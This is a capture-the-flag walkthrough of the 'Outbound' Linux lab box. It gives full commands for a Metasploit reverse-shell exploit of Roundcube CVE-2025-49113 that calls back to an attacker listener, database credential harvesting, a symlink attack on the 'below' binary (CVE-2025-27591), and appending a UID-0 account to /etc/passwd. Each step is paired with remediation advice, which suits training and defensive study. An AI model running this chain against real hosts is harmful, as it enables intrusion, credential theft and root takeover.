← all walkthroughs

Outbound

Linux· Easy
owned
2026-07-09
time to own
11m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I scanned the target and found an nginx web server redirecting to a Roundcube webmail application at mail.outbound.htb. Publicly accessible installation files confirmed the exact version — Roundcube 1.6.10 — which is critically vulnerable to CVE-2025-49113, a post-authentication PHP object-deserialization remote code execution flaw. Using credentials for the webmail account 'tyler', I triggered the exploit via a public Metasploit module and obtained a command shell as the nginx web-server process (www-data).

The application's database configuration file was readable from that shell, yielding MySQL credentials; querying the Roundcube session table surfaced a plaintext SSH password for local account 'jacob' that had been left in stored session data from an internal webmail message. SSH as jacob provided an interactive shell and the first flag. Inspecting sudo privileges revealed that jacob could run Meta's 'below' system-monitoring binary as root without a password.

That binary is affected by CVE-2025-27591: it follows symbolic links when writing its root-owned log file, and the log directory was writable by jacob. Replacing the log path with a symlink to /etc/passwd and invoking below as root caused the binary to open /etc/passwd through the symlink, making it world-writable. I appended a new UID-0 account, logged in via SSH, and read the root flag — achieving full compromise of the host.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"

Attack path — how the box was taken

1ReconNetwork service enumeration and virtual-host discovery
Scanned the target and discovered two services — SSH and an nginx web server redirecting to a virtual host
A port scan of $TARGET confirmed two listening services: OpenSSH 9.6p1 on port 22 and nginx 1.24.0 on port 80. Following the HTTP response from port 80 returned a redirect to the hostname mail.outbound.htb; adding that name to the local resolver surfaced a Roundcube webmail login page, confirming virtual-host-based routing was in use.
Nmap confirmed 22/tcp (OpenSSH 9.6p1 Ubuntu) and 80/tcp (nginx 1.24.0 Ubuntu); curl -iL http://$TARGET/ returned Location: http://mail.outbound.htb/.
Exact commands 3
Identify open ports and service banners.
nmap -sV -sC -p 22,80 $TARGET
Follow the HTTP redirect to reveal the virtual hostname.
curl -siL http://$TARGET/ | grep -E 'Location|Server'
Add the virtual hostname to local DNS resolution.
echo "$TARGET mail.outbound.htb" | sudo tee -a /etc/hosts
2EnumerationUnauthenticated application version fingerprinting (T1592.002)
Confirmed Roundcube 1.6.10 through publicly readable version-disclosure files
Standard Roundcube installations ship with CHANGELOG.md and program/js/app.js directly under the web root, both readable without authentication. CHANGELOG.md lists the precise release history and app.js embeds a version string; together they confirmed the running version as Roundcube 1.6.10, immediately matching the CVE-2025-49113 advisory.
Curl http://mail.outbound.htb/CHANGELOG.md returned the Roundcube release log confirming version 1.6.10; program/js/app.js contained a matching version string.
Exact commands 2
Read the publicly accessible changelog to identify the exact installed version.
curl -s http://mail.outbound.htb/CHANGELOG.md | head -20
Confirm the version string embedded in the front-end JavaScript bundle.
curl -s http://mail.outbound.htb/program/js/app.js | grep -i version | head -5
FixBlock public access to Roundcube installation files that disclose the application versionMedium
WeaknessDistribution files shipped with Roundcube (CHANGELOG.md, INSTALL, program/js/app.js) are served without authentication and reveal the exact installed version, giving any visitor an instant mapping to published CVEs and exploit modules.
FixAdd nginx 'deny all;' directives inside location blocks matching CHANGELOG.md, INSTALL, and similar metadata files, or delete those files from the web root after installation. For program/js/app.js, strip or replace the embedded version string as part of a post-install hardening checklist applied after every upgrade.
3ExploitationPHP Object Deserialization RCE (CVE-2025-49113, CWE-502)
Exploited CVE-2025-49113 (Roundcube post-auth PHP deserialization) to gain a web-server shell as www-data
Roundcube 1.6.10 is affected by CVE-2025-49113, a post-authentication remote code execution vulnerability triggered by a maliciously crafted PHP serialized object delivered through the webmail interface. Using the 'tyler' Roundcube account credentials (tyler:[REDACTED: recovered credential]), I ran the public Metasploit module for CVE-2025-49113, which authenticated, delivered the deserialization payload, and opened a reverse shell. The resulting session ran as uid=33(www-data), giving full read access to all files belonging to the web-server process — including the Roundcube application and configuration directories.
Meterpreter session opened to $TARGET; id returned uid=33(www-data) gid=33(www-data) groups=33(www-data).
Exact commands 2
Replace <$USERNAME-ip> with your listener address. The module handles CSRF token scraping, authentication, and payload delivery automatically.
msfconsole -q -x "use exploit/multi/http/roundcube_auth_rce_cve_2025_49113; set RHOSTS $TARGET; set RPORT 80; set TARGETURI /; set VHOST mail.outbound.htb; set USERNAME tyler; set PASSWORD $PASSWORD3; set LHOST $ATTACKER_IP; run"
Run inside the resulting shell or meterpreter session to confirm execution context.
id; whoami; hostname; pwd
FixPatch Roundcube to address CVE-2025-49113Critical
WeaknessRoundcube 1.6.10 contains a critical PHP object-deserialization vulnerability (CVE-2025-49113) that any authenticated webmail user can trigger to execute arbitrary OS commands as the web-server process. A public Metasploit module exists, requiring no advanced skill — only valid Roundcube credentials.
FixUpgrade Roundcube to the vendor-patched release that addresses CVE-2025-49113; consult the Roundcube security advisory page for the minimum safe version and apply the update immediately. Until the patch is deployed, restrict webmail access to known IP ranges via the nginx configuration or a perimeter firewall, and review Roundcube authentication logs for logins from unfamiliar sources.
4Post-ExploitationCredential recovery from application database and session storage (T1555.001)
Read the Roundcube database credentials from disk and extracted jacob's plaintext SSH password from the session table
The Roundcube configuration file config/config.inc.php is owned and readable by www-data and contains the MySQL connection string in plaintext, exposing the credentials roundcube:[REDACTED: recovered credential]. Connecting to the local MySQL server and querying the roundcube.session table revealed base64-encoded serialized session blobs. Decoding them surfaced a stored webmail message in which tyler had sent jacob his account password ([REDACTED: recovered credential]) in plaintext; that value was still present in an active session row.
Config.inc.php contained the db_dsnw connection string with roundcube:[REDACTED: recovered credential]; MySQL query on session.vars returned a decoded blob containing the plaintext password [REDACTED: recovered credential] for user jacob.
Exact commands 2
Retrieve the database connection string; adjust path if Roundcube is installed elsewhere (e.g. /var/www/roundcubemail/config/).
cat /var/www/html/roundcube/config/config.inc.php | grep db_dsnw
Decode session blobs and search for 'password' substrings to surface stored plaintext credentials.
mysql -u roundcube -p$PASSWORD4 -h localhost roundcube -N -B -e "SELECT substring(convert(from_base64(vars) using utf8mb4), locate('password', convert(from_base64(vars) using utf8mb4)), 90) FROM session;"
FixEliminate plaintext credential exposure in Roundcube session storage and adopt secure credential-distribution practicesHigh
WeaknessThe Roundcube database is accessible to the web-server process through credentials stored in a readable config file, and the session table contained a local OS account password in plaintext inside a serialized message blob. Anyone who gains any web-server foothold can immediately pivot to an interactive SSH session on the same host.
FixRotate immediately: jacob's SSH password, the Roundcube DB password ([REDACTED: recovered credential]), and any other credential stored in session or message data. Going forward: (1) restrict the Roundcube MySQL user to the minimum required privileges and bind it to a Unix socket rather than a TCP port; (2) never distribute account passwords through webmail — use a password manager or a one-time-secret service and force a password reset on first use; (3) consider encrypting Roundcube's session store to prevent plaintext recovery if the database is ever accessed.
5Lateral MovementValid account use over SSH (T1078, T1021.004)
Logged in via SSH as jacob using the recovered password and captured the user flag
The plaintext password extracted from the Roundcube session table ([REDACTED: recovered credential]) was valid for the local OS account 'jacob'. SSH authentication succeeded, yielding an interactive shell with identity uid=1002(jacob). The first proof-of-compromise flag was read from jacob's home directory.
Sshpass with password [REDACTED: recovered credential] authenticating to jacob@$TARGET returned uid=1002(jacob) gid=1002(jacob) groups=1002(jacob),100(users); user.txt captured as <user.txt>.
Exact commands 1
Authenticate as jacob and read the user flag; replace the flag value with <user.txt> when reporting.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 jacob@$TARGET 'id; hostname; cat /home/jacob/user.txt'
6Privilege EscalationSudo misconfiguration discovery (T1548.003)
Enumerated sudo rights and found jacob can run /usr/bin/below as root without a password
Running sudo -l as jacob revealed a sudoers entry granting passwordless execution of /usr/bin/below with any arguments, subject to three flag-based exclusions (--config, --debug, -d). The 'below' binary is Meta's open-source system-resource monitor, and the installed version is affected by CVE-2025-27591. Extracting strings from the binary confirmed a hardcoded log path (/var/log/below/error_root.log) that below opens as root during certain operations; the parent directory (/var/log/below/) was confirmed to be writable by jacob.
Sudo -l showed: (ALL : ALL) NOPASSWD: /usr/bin/below *, !/usr/bin/below --config*, !/usr/bin/below --debug*, !/usr/bin/below -d*; ls -ld /var/log/below confirmed jacob write access.
Exact commands 3
List sudo rules for the current user to identify passwordless execution rights.
sudo -l
Locate the hardcoded log path that below writes to when run as root.
strings /usr/bin/below | grep -E 'log|error_root'
Verify that jacob has write permission to the below log directory.
ls -ld /var/log/below/
FixRemove or tightly restrict jacob's passwordless sudo rule for /usr/bin/belowHigh
WeaknessJacob's sudoers entry grants unlimited passwordless execution of /usr/bin/below as root via a wildcard argument match, with only three flag-name exclusions. Any exploitable behavior in the below binary — present or future — is immediately available to anyone who obtains jacob's shell.
FixRemove the sudo rule entirely; if the monitoring use case is genuinely required, run a dedicated below service account or a properly scoped systemd unit rather than exposing the binary through sudo. If the rule cannot be removed, restrict it to the exact subcommand and argument string actually needed (eliminate the wildcard), require password authentication (remove NOPASSWD), and schedule quarterly reviews of all user sudo rules.
7Privilege EscalationPrivileged symlink attack on log path (CVE-2025-27591, T1574)
Exploited CVE-2025-27591: replaced the below log path with a symlink to /etc/passwd; running below as root made /etc/passwd world-writable
CVE-2025-27591 is a symlink-following vulnerability in below: when invoked as root the binary opens its log path (/var/log/below/error_root.log) with write flags without verifying the path is not a symbolic link, and sets the resulting file's permissions to 0666. Jacob removed the existing log file and created a symbolic link at that path pointing to /etc/passwd. Invoking below via sudo caused the binary to open /etc/passwd through the symlink and set its mode to 666, granting every local user write access to the system's account database.
After placing the symlink and running sudo /usr/bin/below, stat -c '%a' /etc/passwd returned 666.
Exact commands 4
Ensure the log directory exists and clear any existing log file at the target path.
mkdir -p /var/log/below && rm -f /var/log/below/error_root.log
Plant the symlink so below follows it to /etc/passwd when run as root.
ln -s /etc/passwd /var/log/below/error_root.log
Trigger below as root with a valid subcommand that causes it to open its log path. The exact triggering subcommand varies by version; this engagement confirmed that a purely invalid argument does not trigger the file write.
sudo /usr/bin/below dump
Confirm /etc/passwd mode changed to 666 (world-writable).
stat -c '%a %n' /etc/passwd
FixPatch /usr/bin/below (CVE-2025-27591) and harden /var/log/below directory permissionsCritical
WeaknessThe installed version of /usr/bin/below follows symbolic links when opening its root-owned log path and sets the resulting file's permissions to 0666. Because /var/log/below/ was writable by an unprivileged user, this allowed a symlink planted by that user to redirect the root-level write to /etc/passwd, making the system's entire account database world-writable.
Fix(1) Update below to the upstream release that resolves CVE-2025-27591. (2) Restrict the log directory immediately: 'chown root:root /var/log/below && chmod 750 /var/log/below'. (3) Restore /etc/passwd to its correct state: 'chown root:root /etc/passwd && chmod 644 /etc/passwd', and audit /etc/passwd and /etc/shadow for any accounts added during the incident. (4) Deploy file-integrity monitoring (auditd inode watches or AIDE) with alerts on permission or content changes to /etc/passwd and /etc/shadow.
8Full Compromise/etc/passwd manipulation to create a root-equivalent account (T1136.001)
Injected a UID-0 account into the world-writable /etc/passwd and obtained a root shell
With /etc/passwd world-writable, I generated an MD5-crypt password hash using openssl passwd and appended a new account ('r00t', UID 0, GID 0) to the file from jacob's SSH session. Authenticating via SSH as r00t with the chosen password returned a root shell (uid=0(root)), and the root flag was read from /root/root.txt, completing the full compromise of the host.
Ssh r00t@$TARGET returned uid=0(root) gid=0(root) groups=0(root); root.txt captured as <root.txt>.
Exact commands 2
Run on the target as jacob. Appends a root-equivalent account 'r00t' with password '[REDACTED: recovered credential]' to the now world-writable /etc/passwd.
HASH=$(openssl passwd -1 -salt pwned $PASSWORD2) && echo "r00t:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwd
Log in as the injected root account; replace the root.txt value with <root.txt> when reporting.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 r00t@$TARGET 'id; hostname; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize externally controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Public Exploit / Metasploit ModuleService RCET1210

What it is

Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.

Why it works

Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.

Read more

Exposed services

22/tcp
80/tcp